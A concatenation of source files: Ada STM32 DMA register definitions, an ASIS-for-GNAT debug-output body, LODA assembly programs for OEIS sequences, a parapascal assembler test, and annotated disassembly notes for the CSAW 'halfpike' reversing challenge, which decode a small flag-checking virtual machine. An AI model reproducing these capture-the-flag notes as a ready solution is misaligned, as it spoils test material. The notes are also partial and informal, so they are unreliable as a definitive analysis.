configuration register (DMA_CCR) type CCR_Register is record -- Channel enable EN : Boolean := False; -- Transfer complete interrupt enable TCIE : Boolean := False; -- Half Transfer interrupt enable HTIE : Boolean := False; -- Transfer error interrupt enable TEIE : Boolean := False; -- Data transfer direction DIR : Boolean := False; -- Circular mode CIRC : Boolean := False; -- Peripheral increment mode PINC : Boolean := False; -- Memory increment mode MINC : Boolean := False; -- Peripheral size PSIZE : CCR_PSIZE_Field := 16#0#; -- Memory size MSIZE : CCR_MSIZE_Field := 16#0#; -- Channel Priority level PL : CCR_PL_Field := 16#0#; -- Memory to memory mode MEM2MEM : Boolean := False; -- unspecified Reserved_15_31 : HAL.UInt17 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for CCR_Register use record EN at 0 range 0 .. 0; TCIE at 0 range 1 .. 1; HTIE at 0 range 2 .. 2; TEIE at 0 range 3 .. 3; DIR at 0 range 4 .. 4; CIRC at 0 range 5 .. 5; PINC at 0 range 6 .. 6; MINC at 0 range 7 .. 7; PSIZE at 0 range 8 .. 9; MSIZE at 0 range 10 .. 11; PL at 0 range 12 .. 13; MEM2MEM at 0 range 14 .. 14; Reserved_15_31 at 0 range 15 .. 31; end record; subtype CNDTR_NDT_Field is HAL.UInt16; -- DMA channel 1 number of data register type CNDTR_Register is record -- Number of data to transfer NDT : CNDTR_NDT_Field := 16#0#; -- unspecified Reserved_16_31 : HAL.UInt16 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for CNDTR_Register use record NDT at 0 range 0 .. 15; Reserved_16_31 at 0 range 16 .. 31; end record; ----------------- -- Peripherals -- ----------------- -- DMA controller type DMA_Peripheral is record -- DMA interrupt status register (DMA_ISR) ISR : aliased ISR_Register; -- DMA interrupt flag clear register (DMA_IFCR) IFCR : aliased IFCR_Register; -- DMA channel configuration register (DMA_CCR) CCR1 : aliased CCR_Register; -- DMA channel 1 number of data register CNDTR1 : aliased CNDTR_Register; -- DMA channel 1 peripheral address register CPAR1 : aliased HAL.UInt32; -- DMA channel 1 memory address register CMAR1 : aliased HAL.UInt32; -- DMA channel configuration register (DMA_CCR) CCR2 : aliased CCR_Register; -- DMA channel 2 number of data register CNDTR2 : aliased CNDTR_Register; -- DMA channel 2 peripheral address register CPAR2 : aliased HAL.UInt32; -- DMA channel 2 memory address register CMAR2 : aliased HAL.UInt32; -- DMA channel configuration register (DMA_CCR) CCR3 : aliased CCR_Register; -- DMA channel 3 number of data register CNDTR3 : aliased CNDTR_Register; -- DMA channel 3 peripheral address register CPAR3 : aliased HAL.UInt32; -- DMA channel 3 memory address register CMAR3 : aliased HAL.UInt32; -- DMA channel configuration register (DMA_CCR) CCR4 : aliased CCR_Register; -- DMA channel 4 number of data register CNDTR4 : aliased CNDTR_Register; -- DMA channel 4 peripheral address register CPAR4 : aliased HAL.UInt32; -- DMA channel 4 memory address register CMAR4 : aliased HAL.UInt32; -- DMA channel configuration register (DMA_CCR) CCR5 : aliased CCR_Register; -- DMA channel 5 number of data register CNDTR5 : aliased CNDTR_Register; -- DMA channel 5 peripheral address register CPAR5 : aliased HAL.UInt32; -- DMA channel 5 memory address register CMAR5 : aliased HAL.UInt32; -- DMA channel configuration register (DMA_CCR) CCR6 : aliased CCR_Register; -- DMA channel 6 number of data register CNDTR6 : aliased CNDTR_Register; -- DMA channel 6 peripheral address register CPAR6 : aliased HAL.UInt32; -- DMA channel 6 memory address register CMAR6 : aliased HAL.UInt32; -- DMA channel configuration register (DMA_CCR) CCR7 : aliased CCR_Register; -- DMA channel 7 number of data register CNDTR7 : aliased CNDTR_Register; -- DMA channel 7 peripheral address register CPAR7 : aliased HAL.UInt32; -- DMA channel 7 memory address register CMAR7 : aliased HAL.UInt32; end record with Volatile; for DMA_Peripheral use record ISR at 16#0# range 0 .. 31; IFCR at 16#4# range 0 .. 31; CCR1 at 16#8# range 0 .. 31; CNDTR1 at 16#C# range 0 .. 31; CPAR1 at 16#10# range 0 .. 31; CMAR1 at 16#14# range 0 .. 31; CCR2 at 16#1C# range 0 .. 31; CNDTR2 at 16#20# range 0 .. 31; CPAR2 at 16#24# range 0 .. 31; CMAR2 at 16#28# range 0 .. 31; CCR3 at 16#30# range 0 .. 31; CNDTR3 at 16#34# range 0 .. 31; CPAR3 at 16#38# range 0 .. 31; CMAR3 at 16#3C# range 0 .. 31; CCR4 at 16#44# range 0 .. 31; CNDTR4 at 16#48# range 0 .. 31; CPAR4 at 16#4C# range 0 .. 31; CMAR4 at 16#50# range 0 .. 31; CCR5 at 16#58# range 0 .. 31; CNDTR5 at 16#5C# range 0 .. 31; CPAR5 at 16#60# range 0 .. 31; CMAR5 at 16#64# range 0 .. 31; CCR6 at 16#6C# range 0 .. 31; CNDTR6 at 16#70# range 0 .. 31; CPAR6 at 16#74# range 0 .. 31; CMAR6 at 16#78# range 0 .. 31; CCR7 at 16#80# range 0 .. 31; CNDTR7 at 16#84# range 0 .. 31; CPAR7 at 16#88# range 0 .. 31; CMAR7 at 16#8C# range 0 .. 31; end record; -- DMA controller DMA1_Periph : aliased DMA_Peripheral with Import, Address => System'To_Address (16#40020000#); -- DMA controller DMA2_Periph : aliased DMA_Peripheral with Import, Address => System'To_Address (16#40020400#); end STM32_SVD.DMA;
src/asis/a4g-a_output.adb
My-Colaborations/dynamo
15
17024
------------------------------------------------------------------------------ -- -- -- ASIS-for-GNAT IMPLEMENTATION COMPONENTS -- -- -- -- A 4 G . A _ O U T P U T -- -- -- -- B o d y -- -- -- -- Copyright (C) 1995-2011, Free Software Foundation, Inc. -- -- -- -- ASIS-for-GNAT is free software; you can redistribute it and/or modify it -- -- under terms of the GNU General Public License as published by the Free -- -- Software Foundation; either version 2, or (at your option) any later -- -- version. ASIS-for-GNAT is distributed in the hope that it will be use- -- -- ful, but WITHOUT ANY WARRANTY; without even the implied warranty of MER- -- -- CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General -- -- Public License for more details. You should have received a copy of the -- -- GNU General Public License distributed with ASIS-for-GNAT; see file -- -- COPYING. If not, write to the Free Software Foundation, 51 Franklin -- -- Street, Fifth Floor, Boston, MA 02110-1301, USA. -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ASIS-for-GNAT was originally developed by the ASIS-for-GNAT team at the -- -- Software Engineering Laboratory of the Swiss Federal Institute of -- -- Technology (LGL-EPFL) in Lausanne, Switzerland, in cooperation with the -- -- Scientific Research Computer Center of Moscow State University (SRCC -- -- MSU), Russia, with funding partially provided by grants from the Swiss -- -- National Science Foundation and the Swiss Academy of Engineering -- -- Sciences. ASIS-for-GNAT is now maintained by AdaCore -- -- (http://www.adacore.<EMAIL>). -- -- -- ------------------------------------------------------------------------------ with Ada.Exceptions; use Ada.Exceptions; with Ada.Strings.Fixed; use Ada.Strings.Fixed; -- with Asis.Text; use Asis.Text; with Asis.Elements; use Asis.Elements; with A4G.A_Debug; use A4G.A_Debug; with A4G.A_Types; use A4G.A_Types; with A4G.Int_Knds; use A4G.Int_Knds; with A4G.Contt; use A4G.Contt; with A4G.Contt.UT; use A4G.Contt.UT; with A4G.Contt.TT; use A4G.Contt.TT; with A4G.A_Opt; use A4G.A_Opt; with A4G.Vcheck; use A4G.Vcheck; with Asis.Set_Get; use Asis.Set_Get; with Atree; use Atree; with Namet; use Namet; with Output; use Output; with Sinfo; use Sinfo; with Sinput; use Sinput; package body A4G.A_Output is LT : String renames A4G.A_Types.ASIS_Line_Terminator; --------- -- Add -- --------- procedure Add (Phrase : String) is begin if Debug_Buffer_Len = Max_Debug_Buffer_Len then return; end if; for I in Phrase'Range loop Debug_Buffer_Len := Debug_Buffer_Len + 1; Debug_Buffer (Debug_Buffer_Len) := Phrase (I); if Debug_Buffer_Len = Max_Debug_Buffer_Len then exit; end if; end loop; end Add; ------------------ -- ASIS_Warning -- ------------------ procedure ASIS_Warning (Message : String; Error : Asis.Errors.Error_Kinds := Not_An_Error) is begin case ASIS_Warning_Mode is when Suppress => null; when Normal => Set_Standard_Error; Write_Str ("ASIS warning: "); Write_Eol; Write_Str (Message); Write_Eol; Set_Standard_Output; when Treat_As_Error => -- ??? Raise_ASIS_Failed should be revised to use like that Raise_ASIS_Failed ( Argument => Nil_Element, Diagnosis => Message, Stat => Error); end case; end ASIS_Warning; -------------------------------------- -- Debug_String (Compilation Unit) -- -------------------------------------- -- SHOULD BE REVISED USING Debug_Buffer!!! function Debug_String (CUnit : Compilation_Unit) return String is LT : String renames A4G.A_Types.ASIS_Line_Terminator; U : Unit_Id; C : Context_Id; begin U := Get_Unit_Id (CUnit); C := Encl_Cont_Id (CUnit); if No (U) then return "This is a Nil Compilation Unit"; else Reset_Context (C); return LT & "Unit Id: " & Unit_Id'Image (U) & LT & " Unit name: " & Unit_Name (CUnit) & LT & " Kind: " & Asis.Unit_Kinds'Image (Kind (C, U)) & LT & " Class: " & Asis.Unit_Classes'Image (Class (C, U)) & LT & " Origin: " & Asis.Unit_Origins'Image (Origin (C, U)) & LT & " Enclosing Context Id: " & Context_Id'Image (C) & LT & " Is consistent: " & Boolean'Image (Is_Consistent (C, U)) & LT & "-------------------------------------------------"; end if; end Debug_String; procedure Debug_String (CUnit : Compilation_Unit; No_Abort : Boolean := False) is LT : String renames A4G.A_Types.ASIS_Line_Terminator; U : Unit_Id; C : Context_Id; begin Debug_Buffer_Len := 0; U := Get_Unit_Id (CUnit); C := Encl_Cont_Id (CUnit); if No (U) then Add ("This is a Nil Compilation Unit"); else Reset_Context (C); Add (LT); Add ("Unit Id: " & Unit_Id'Image (U) & LT); Add (" Unit name: " & Unit_Name (CUnit) & LT); Add (" Kind: " & Asis.Unit_Kinds'Image (Kind (C, U)) & LT); Add (" Class: " & Asis.Unit_Classes'Image (Class (C, U)) & LT); Add (" Origin: " & Asis.Unit_Origins'Image (Origin (C, U)) & LT); Add (" Enclosing Context Id: " & Context_Id'Image (C) & LT); Add (" Is consistent: " & Boolean'Image (Is_Consistent (C, U)) & LT); Add ("-------------------------------------------------"); end if; exception when Ex : others => if No_Abort then Add (LT & "Can not complete the unit debug image because of" & LT); Add (Exception_Information (Ex)); else raise; end if; end Debug_String; ----------------------------- -- Debug_String (Context) -- ----------------------------- -- SHOULD BE REVISED USING Debug_Buffer!!! function Debug_String (Cont : Context) return String is LT : String renames A4G.A_Types.ASIS_Line_Terminator; C : constant Context_Id := Get_Cont_Id (Cont); Debug_String_Prefix : constant String := "Context Id: " & Context_Id'Image (C) & LT; begin if C = Non_Associated then return Debug_String_Prefix & " This Context has never been associated"; elsif not Is_Associated (C) and then not Is_Opened (C) then return Debug_String_Prefix & " This Context is dissociated at the moment"; elsif not Is_Opened (C) then -- here Is_Associated (C) return Debug_String_Prefix & " This Context has associations," & LT & " but it is closed at the moment"; else -- here Is_Associated (C) and Is_Opened (C) return Debug_String_Prefix & " This Context is opened at the moment" & LT & " All tree files: " & Tree_Id'Image (Last_Tree (C) - First_Tree_Id + 1) & LT & " All units: " & Unit_Id'Image (Last_Unit - First_Unit_Id + 1) & LT & " Existing specs : " & Natural'Image (Lib_Unit_Decls (C)) & LT & " Existing bodies: " & Natural'Image (Comp_Unit_Bodies (C)) & LT & " Nonexistent units:" & Natural'Image (Natural (Last_Unit - First_Unit_Id + 1) - (Lib_Unit_Decls (C) + Comp_Unit_Bodies (C))) & LT & "================="; end if; end Debug_String; ----------------------------- -- Debug_String (Element) -- ----------------------------- procedure Debug_String (E : Element; No_Abort : Boolean := False) is E_Kind : constant Internal_Element_Kinds := Int_Kind (E); E_Kind_Image : constant String := Internal_Element_Kinds'Image (E_Kind); E_Unit : constant Asis.Compilation_Unit := Encl_Unit (E); E_Unit_Class : constant Unit_Classes := Class (E_Unit); N : constant Node_Id := Node (E); R_N : constant Node_Id := R_Node (E); N_F_1 : constant Node_Id := Node_Field_1 (E); N_F_2 : constant Node_Id := Node_Field_2 (E); C : constant Context_Id := Encl_Cont_Id (E); T : constant Tree_Id := Encl_Tree (E); begin Debug_Buffer_Len := 0; if Is_Nil (E) then Add ("This is a Nil Element"); else Add (E_Kind_Image); Add (LT & "located in "); Add (Unit_Name (E_Unit)); if E_Unit_Class = A_Separate_Body then Add (" (subunit, Unit_Id ="); elsif E_Unit_Class = A_Public_Declaration or else E_Unit_Class = A_Private_Declaration then Add (" (spec, Unit_Id ="); else Add (" (body, Unit_Id ="); end if; Add (Unit_Id'Image (Encl_Unit_Id (E))); Add (", Context_Id ="); Add (Context_Id'Image (C)); Add (")" & LT); if not (Debug_Flag_I) then Add ("text position :"); -- if not Is_Text_Available (E) then -- Creating the source location from the element node. We -- cannot safely use Element_Span here because in case of a -- bug in a structural query this may result in curcling of -- query blow-ups. if Sloc (N) <= No_Location then Add (" not available"); Add (LT); else Add (" "); declare use Ada.Strings; P : Source_Ptr; Sindex : Source_File_Index; Instance_Depth : Natural := 0; procedure Enter_Sloc; -- For the current value of P, adds to the debug string -- the string of the form file_name:line_number. Also -- computes Sindex as the Id of the sourse file of P. procedure Enter_Sloc is F_Name : File_Name_Type; begin Sindex := Get_Source_File_Index (P); F_Name := File_Name (Sindex); Get_Name_String (F_Name); Add (Name_Buffer (1 .. Name_Len) & ":"); Add (Trim (Get_Physical_Line_Number (P)'Img, Both)); Add (":"); Add (Trim (Get_Column_Number (P)'Img, Both)); end Enter_Sloc; begin P := Sloc (N); Enter_Sloc; P := Instantiation (Sindex); while P /= No_Location loop Add ("["); Instance_Depth := Instance_Depth + 1; Enter_Sloc; P := Instantiation (Sindex); end loop; for J in 1 .. Instance_Depth loop Add ("]"); end loop; Add (LT); end; end if; -- else -- declare -- Arg_Span : Span; -- FL : String_Ptr; -- LL : String_Ptr; -- FC : String_Ptr; -- LC : String_Ptr; -- begin -- -- this operation is potentially dangerous - it may -- -- change the tree (In fact, it should not, if we -- -- take into account the typical conditions when -- -- this routine is called -- Arg_Span := Element_Span (E); -- FL := new String'(Line_Number'Image (Arg_Span.First_Line)); -- LL := new String'(Line_Number'Image (Arg_Span.Last_Line)); -- FC := new String'(Character_Position'Image -- (Arg_Span.First_Column)); -- LC := new String'(Character_Position'Image -- (Arg_Span.Last_Column)); -- Add (FL.all); -- Add (" :"); -- Add (FC.all); -- Add (" -"); -- Add (LL.all); -- Add (" :"); -- Add (LC.all); -- Add (LT); -- end; -- end if; end if; Add (" Nodes:" & LT); Add (" Node :" & Node_Id'Image (N)); Add (" - " & Node_Kind'Image (Nkind (N)) & LT); Add (" R_Node :" & Node_Id'Image (R_N)); Add (" - " & Node_Kind'Image (Nkind (R_N)) & LT); Add (" Node_Field_1 :" & Node_Id'Image (N_F_1)); Add (" - " & Node_Kind'Image (Nkind (N_F_1)) & LT); Add (" Node_Field_2 :" & Node_Id'Image (N_F_2)); Add (" - " & Node_Kind'Image (Nkind (N_F_2)) & LT); Add (" Rel_Sloc :"); Add (Source_Ptr'Image (Rel_Sloc (E)) & LT); if Special_Case (E) /= Not_A_Special_Case then Add (" Special Case : "); Add (Special_Cases'Image (Special_Case (E)) & LT); end if; if Special_Case (E) = Stand_Char_Literal or else Character_Code (E) /= 0 then Add (" Character_Code :"); Add (Char_Code'Image (Character_Code (E)) & LT); end if; case Normalization_Case (E) is when Is_Normalized => Add (" Normalized" & LT); when Is_Normalized_Defaulted => Add (" Normalized (with default value)" & LT); when Is_Normalized_Defaulted_For_Box => Add (" Normalized (with default value computed for box)" & LT); when Is_Not_Normalized => null; end case; if Parenth_Count (E) > 0 then Add (" Parenth_Count :"); Add (Nat'Image (Parenth_Count (E)) & LT); end if; if Is_From_Implicit (E) then Add (" Is implicit" & LT); end if; if Is_From_Inherited (E) then Add (" Is inherited" & LT); end if; if Is_From_Instance (E) then Add (" Is from instance" & LT); end if; Add (" obtained from the tree "); if Present (T) then Get_Name_String (C, T); Add (A_Name_Buffer (1 .. A_Name_Len)); Add (" (Tree_Id =" & Tree_Id'Image (T) & ")"); else Add (" <nil tree>"); end if; end if; exception when Ex : others => if No_Abort then Add (LT & "Can not complete the unit debug image because of" & LT); Add (Exception_Information (Ex)); else raise; end if; end Debug_String; ---------------- -- Write_Node -- ---------------- procedure Write_Node (N : Node_Id; Prefix : String := "") is begin Write_Str (Prefix); Write_Str ("Node_Id = "); Write_Int (Int (N)); Write_Eol; Write_Str (Prefix); Write_Str ("Nkind = "); Write_Str (Node_Kind'Image (Nkind (N))); Write_Eol; Write_Str (Prefix); Write_Str ("Rewrite_Sub value : "); Write_Str (Boolean'Image (Is_Rewrite_Substitution (N))); Write_Eol; Write_Str (Prefix); Write_Str ("Rewrite_Ins value : "); Write_Str (Boolean'Image (Is_Rewrite_Insertion (N))); Write_Eol; Write_Str (Prefix); Write_Str ("Comes_From_Source value : "); Write_Str (Boolean'Image (Comes_From_Source (N))); Write_Eol; if Original_Node (N) = N then Write_Str (Prefix); Write_Str (" Node is unchanged"); Write_Eol; elsif Original_Node (N) = Empty then Write_Str (Prefix); Write_Str (" Node has been inserted"); Write_Eol; else Write_Str (Prefix); Write_Str (" Node has been rewritten"); Write_Eol; Write_Node (N => Original_Node (N), Prefix => Write_Node.Prefix & " Original node -> "); end if; Write_Eol; end Write_Node; end A4G.A_Output;
oeis/160/A160175.asm
neoneye/loda-programs
11
7788
; A160175: Expansion of 1/(1 - 2*x - 2*x^2 - 2*x^3 - 2*x^4). ; Submitted by <NAME> ; 1,2,6,18,54,160,476,1416,4212,12528,37264,110840,329688,980640,2916864,8676064,25806512,76760160,228319200,679123872,2020019488,6008445440,17871816000,53158809600,158118181056,470314504192,1398926621696,4161036233088,12376791080064,36814136878080,109501781625856,325707491634176,968800402436352,2881647625148928,8571314601690624,25494940241820160,75833405742192128,225562616421703680,670924554014813184,1995631032841058304,5935903218039534592,17656042842634219520,52517003295059251200 add $0,2 mov $2,1 lpb $0 sub $0,1 add $5,$1 mov $1,$3 sub $3,$4 mov $4,$2 mov $2,$3 mul $5,2 add $5,$4 mov $3,$5 lpe mov $0,$1
Assembler/test/cohadar/assembler/memory/mem00.asm
cohadar/parapascal
0
84829
// Program changes x and y variables inside another thread // when control is returned to main thread // change will be visible only on shared variable x // instance variable y inside main will remain the same // because every thread has personal copy .SHARED x : 1 .INSTANCE y : 1 .CODE // x := 3 const 3 addr x store // y := 5 const 5 addr y store // create new thread fork @new_thread // wait for thread to finish join // push values on debug stack to be tested by JUnit addr x load syscall %DEBUG addr y load syscall %DEBUG exit 0 @new_thread: // x := x + 1 addr x load inc addr x store // y := y + 1 addr y dup load inc swap store exit 0
oeis/127/A127971.asm
neoneye/loda-programs
11
244792
<filename>oeis/127/A127971.asm ; A127971: a(n) = fusc(n+1) + (1-(-1)^n)/2, fusc = A002487. ; Submitted by <NAME> ; 1,2,2,2,3,3,3,2,4,4,5,3,5,4,4,2,5,5,7,4,8,6,7,3,7,6,8,4,7,5,5,2,6,6,9,5,11,8,10,4,11,9,13,6,12,8,9,3,9,8,12,6,13,9,11,4,10,8,11,5,9,6,6,2,7,7,11,6,14,10,13,5,15,12,18,8,17,11,13,4,14,12,19,9,21,14,18,6,17,13,19,8,16,10,11,3,11,10,16,8 mov $2,$0 add $0,1 div $0,2 lpb $0 sub $0,1 mov $3,$2 sub $3,$0 mov $4,0 mov $5,$0 mov $6,$3 sub $6,$0 mov $9,$6 mov $10,$6 lpb $9 mov $7,$5 mod $7,2 mov $8,$10 mod $8,2 mul $7,$8 add $4,$7 div $5,2 div $10,2 mov $9,$10 lpe cmp $4,0 add $1,$4 lpe mov $0,$1 add $0,1
2019/csawq/halfpike/chal.notes.asm
theKidOfArcrania/ctf-writeups
5
100052
00000000: JMP main ; [0x233] CASE 0 ; if reg(r10) != reg(r11): ; if r12 and not stop: ; correct = r12 ; stop = 1 00000004: MOV ACC, r10 00000005: CALL getmem ;(ACC loc) 00000007: XCHG ACC, r0 00000008: XCHG ACC, r10 00000009: MOV ACC, r11 0000000a: CALL getmem ;(ACC loc) 0000000c: XCHG ACC, r0 0000000d: XCHG ACC, r11 0000000e: MOV ACC, r10 0000000f: SUB ACC, r11 00000010: JZ loc_25 ; r10 == r11 00000012: MOV ACC, r12 00000013: JZ loc_20 ; !r12 00000015: MOV r0:1, 0x9e 00000017: MOV SRC, r0:1 00000018: MOV ACC, [BANK + SRC] 00000019: JNZ loc_20 ; correct = r12 0000001b: MOV r0:1, 0x9d 0000001d: MOV SRC, r0:1 0000001e: MOV ACC, r12 0000001f: MOV [BANK + SRC], ACC ; done = 1 00000020: MOV r0:1, 0x9e 00000022: MOV SRC, r0:1 00000023: MOV ACC, 1 00000024: MOV [BANK + SRC], ACC 00000025: JMP main_loop ; [0x233] CASE 1 ; rol REG(r10), r11 ; r6 = REG(r10) 00000027: MOV ACC, r10 00000028: CALL getmem ;(ACC loc) 0000002a: XCHG ACC, r0 0000002b: XCHG ACC, r6 0000002c: MOV ACC, r11 0000002d: XCHG ACC, r7 ; r6 = ROL(r6, r7) 0000002e: CLC 0000002f: MOV ACC, r6 00000030: RAL ACC 00000031: XCHG ACC, r6 00000032: SETC ACC 00000033: ADD ACC, r6 00000034: XCHG ACC, r6 00000035: MOV ACC, r7 00000036: DEC ACC 00000037: XCHG ACC, r7 00000038: MOV ACC, r7 00000039: JNZ loc_2e 0000003b: MOV ACC, r6 0000003c: XCHG ACC, r0 0000003d: MOV ACC, r10 0000003e: XCHG ACC, r1 0000003f: CALL setmem ; (val, loc) 00000041: JMP main_loop ; [0x233] CASE 2 ; mov REG(r10), ROM[r11] 00000043: MOV ACC, r11 00000044: MOV r0:1, 0 00000046: XCHG ACC, r1 00000047: MOV SRC, r0:1 00000048: MOV ACC, [BANK + SRC] 00000049: XCHG ACC, r0 0000004a: MOV ACC, r10 0000004b: XCHG ACC, r1 0000004c: CALL setmem ; (val, loc) 0000004e: JMP main_loop ; [0x233] CASE 3 ; xor Reg(r10), r11 ; r6 = r10 00000050: MOV ACC, r10 00000051: XCHG ACC, r6 ; r10 = mem[r10] 00000052: MOV ACC, r10 00000053: CALL getmem ;(ACC loc) 00000055: XCHG ACC, r0 00000056: XCHG ACC, r10 00000057: MOV ACC, r10 00000058: XCHG ACC, r0 00000059: MOV ACC, r11 0000005a: XCHG ACC, r1 0000005b: CALL xor_op 0000005d: MOV ACC, r6 0000005e: XCHG ACC, r1 0000005f: CALL setmem ; (val, loc) 00000061: JMP main_loop ; [0x233] CASE 4 ; mov [r10], Reg(r11) 00000063: MOV ACC, r11 00000064: CALL getmem ;(ACC loc) 00000066: XCHG ACC, r0 00000067: XCHG ACC, r11 00000068: MOV r0:1, 0 0000006a: MOV ACC, r10 0000006b: XCHG ACC, r1 0000006c: MOV SRC, r0:1 0000006d: MOV ACC, r11 0000006e: MOV [BANK + SRC], ACC 0000006f: JMP main_loop ; [0x233] CASE 5 ; PC = 0 00000071: MOV r0:1, 0x9f 00000073: MOV SRC, r0:1 00000074: MOV acc, 0 00000075: MOV [BANK + SRC], acc 00000076: JMP loc_200 ; [0x233] CASE 6 ; SKIPNE r10, r11 00000078: MOV ACC, r10 00000079: CALL getmem 0000007b: XCHG ACC, r0 0000007c: XCHG ACC, r10 0000007d: MOV ACC, r11 0000007e: CALL getmem 00000080: XCHG ACC, r0 00000081: XCHG ACC, r11 00000082: MOV ACC, r10 00000083: SUB ACC, r11 00000084: JZ loc_8c 00000086: MOV r0:1, 0x9f 00000088: MOV SRC, r0:1 00000089: MOV acc, [BANK + SRC] 0000008a: INC acc 0000008b: MOV [BANK + SRC], acc 0000008c: JMP loc_200 ; [0x233] CASE 7 ; add REG(r10), r11 0000008e: MOV ACC, r10 0000008f: CALL getmem ;(ACC loc) 00000091: MOV ACC, r0 00000092: ADD ACC, r11 00000093: XCHG ACC, r0 00000094: MOV ACC, r10 00000095: XCHG ACC, r1 00000096: CALL setmem ; (val, loc) 00000098: JMP main_loop getmem: ; (ACC loc) 0000009a: MOV r0:1, 0xa0 0000009c: XCHG ACC, r1 0000009d: MOV SRC, r0:1 0000009e: MOV ACC, [BANK + SRC] 0000009f: XCHG ACC, r0 000000a0: RETVAL 0 setmem: ; (val, loc) 000000a1: MOV r2:3, 0xa0 000000a3: MOV ACC, r1 000000a4: XCHG ACC, r3 000000a5: MOV SRC, r2:3 000000a6: MOV ACC, r0 000000a7: MOV [BANK + SRC], ACC 000000a8: RETVAL 0 main: 000000a9: MOV r0:1, local welcome 000000ab: CALL puts 000000ad: MOV ACC, 0 000000ae: MOV BANK, ACC 000000af: MOV r0:1, 0 000000b1: CALL loc_480 000000b3: MOV r0:1, 0 000000b5: CALL init_bank 000000b7: CALL read_bank 000000b9: MOV ACC, 1 000000ba: MOV BANK, ACC 000000bb: MOV r0:1, 32 000000bd: CALL loc_480 000000bf: MOV r0:1, 3 000000c1: CALL init_bank 000000c3: CALL read_bank 000000c5: MOV ACC, 2 000000c6: MOV BANK, ACC 000000c7: MOV r0:1, 64 000000c9: CALL loc_480 000000cb: MOV r0:1, 6 000000cd: CALL init_bank 000000cf: CALL read_bank 000000d1: MOV ACC, 3 000000d2: MOV BANK, ACC 000000d3: MOV r0:1, 96 000000d5: CALL loc_480 000000d7: MOV r0:1, 9 000000d9: CALL init_bank 000000db: CALL read_bank 000000dd: MOV ACC, 4 000000de: MOV BANK, ACC 000000df: MOV r0:1, 0 000000e1: CALL loc_580 000000e3: MOV r0:1, 0x10 000000e5: CALL init_bank 000000e7: CALL read_bank 000000e9: MOV ACC, 5 000000ea: MOV BANK, ACC 000000eb: MOV r0:1, 32 000000ed: CALL loc_580 000000ef: MOV r0:1, 0x13 000000f1: CALL init_bank 000000f3: CALL read_bank 000000f5: MOV ACC, 6 000000f6: MOV BANK, ACC 000000f7: MOV r0:1, 64 000000f9: CALL loc_580 000000fb: MOV r0:1, 0x16 000000fd: CALL init_bank 000000ff: CALL read_bank 00000101: MOV ACC, 7 00000102: MOV BANK, ACC 00000103: MOV r0:1, 96 00000105: CALL loc_580 00000107: MOV r0:1, 0x19 00000109: CALL init_bank 0000010b: CALL read_bank 0000010d: MOV ACC, 0 0000010e: MOV BANK, ACC 0000010f: JMP main_loop ... main_loop: 00000200: CALL check_9e 00000202: JNZ loc_235 00000204: MOV ACC, r15 00000205: MOV BANK, ACC 00000206: INC r15 00000207: CLC 00000208: MOV r0:1, 0x9f 0000020a: MOV SRC, r0:1 0000020b: MOV ACC, [BANK + SRC] 0000020c: MOV r0:1, 0 ; SRC = ACC << 2 0000020e: CLC 0000020f: RAL ACC 00000210: XCHG ACC, r1 00000211: RAL ACC 00000212: XCHG ACC, r0 00000213: MOV ACC, r1 00000214: RAL ACC 00000215: XCHG ACC, r1 00000216: XCHG ACC, r0 00000217: RAL ACC 00000218: XCHG ACC, r0 00000219: MOV SRC, r0:1 ; Load r12-9 = BANK[SRC] 0000021a: MOV ACC, [BANK + SRC] 0000021b: XCHG ACC, r9 0000021c: INC r1 0000021d: MOV SRC, r0:1 0000021e: MOV ACC, [BANK + SRC] 0000021f: XCHG ACC, r10 00000220: INC r1 00000221: MOV SRC, r0:1 00000222: MOV ACC, [BANK + SRC] 00000223: XCHG ACC, r11 00000224: INC r1 00000225: MOV SRC, r0:1 00000226: MOV ACC, [BANK + SRC] 00000227: XCHG ACC, r12 ; Increment index 00000228: MOV r0:1, 0x9f 0000022a: MOV SRC, r0:1 0000022b: MOV ACC, [BANK + SRC] 0000022c: INC ACC 0000022d: MOV [BANK + SRC], ACC ; jmp JMP_TABLE[r9 * 2] 0000022e: MOV ACC, r9 0000022f: RAL ACC ; r9 < 1 00000230: MOV r0:1, 0 00000232: XCHG ACC, r1 00000233: JMP loc_810 ; JUMP TABLE loc_235: 00000235: CALL check 00000237: JNZ loc_23f 00000239: MOV r0:1, local incorrect 0000023b: CALL puts 0000023d: JMP loc_245 loc_23f: 0000023f: MOV r0:1, local correct 00000241: CALL loc_739 00000243: JMP loc_245 00000245: JMP loc_245 check_9e: 00000300: MOV r2:3, 0x80 00000302: MOV ACC, r3 00000303: MOV BANK, ACC 00000304: MOV r0:1, 0x9e 00000306: MOV SRC, r0:1 00000307: MOV ACC, [BANK + SRC] 00000308: JNZ loc_30b 0000030a: RETVAL 0 0000030b: INC r3 0000030c: MOV ACC, r3 0000030d: SUB ACC, r2 0000030e: JNZ loc_302 00000310: RETVAL 1 check: 00000311: MOV r2:3, 0x80 00000313: MOV ACC, r3 00000314: MOV BANK, ACC 00000315: MOV r0:1, 0x9d 00000317: MOV SRC, r0:1 00000318: MOV ACC, [BANK + SRC] 00000319: JZ loc_31c 0000031b: RETVAL 0 0000031c: INC r3 0000031d: MOV ACC, r3 0000031e: SUB ACC, r2 0000031f: JNZ loc_313 00000321: RETVAL 1 00000480: MOV r2:3, 0 00000482: MOV r6:7, 0 00000484: MOV r4:5, [PC_HIGH + r0:1] 00000485: MOV SRC, r2:3 00000486: MOV ACC, r4 00000487: MOV [BANK + SRC], ACC 00000488: XCHG ACC, r3 00000489: INC ACC 0000048a: XCHG ACC, r3 0000048b: JNC loc_490 00000490: MOV SRC, r2:3 00000491: MOV ACC, r5 00000492: MOV [BANK + SRC], ACC 00000493: XCHG ACC, r3 00000494: INC ACC 00000495: XCHG ACC, r3 00000496: JNC loc_49b 00000498: XCHG ACC, r2 00000499: INC ACC 0000049a: XCHG ACC, r2 0000049b: XCHG ACC, r1 0000049c: INC ACC 0000049d: XCHG ACC, r1 0000049e: JNC loc_4a3 000004a0: XCHG ACC, r0 000004a1: INC ACC 000004a2: XCHG ACC, r0 000004a3: INC_JZ r6, loc_4a7 000004a5: JMP loc_484 000004a7: MOV r6:7, 0 000004a9: MOV r4:5, [PC_HIGH + r0:1] 000004aa: MOV SRC, r2:3 000004ab: MOV ACC, r4 000004ac: MOV [BANK + SRC], ACC 000004ad: XCHG ACC, r3 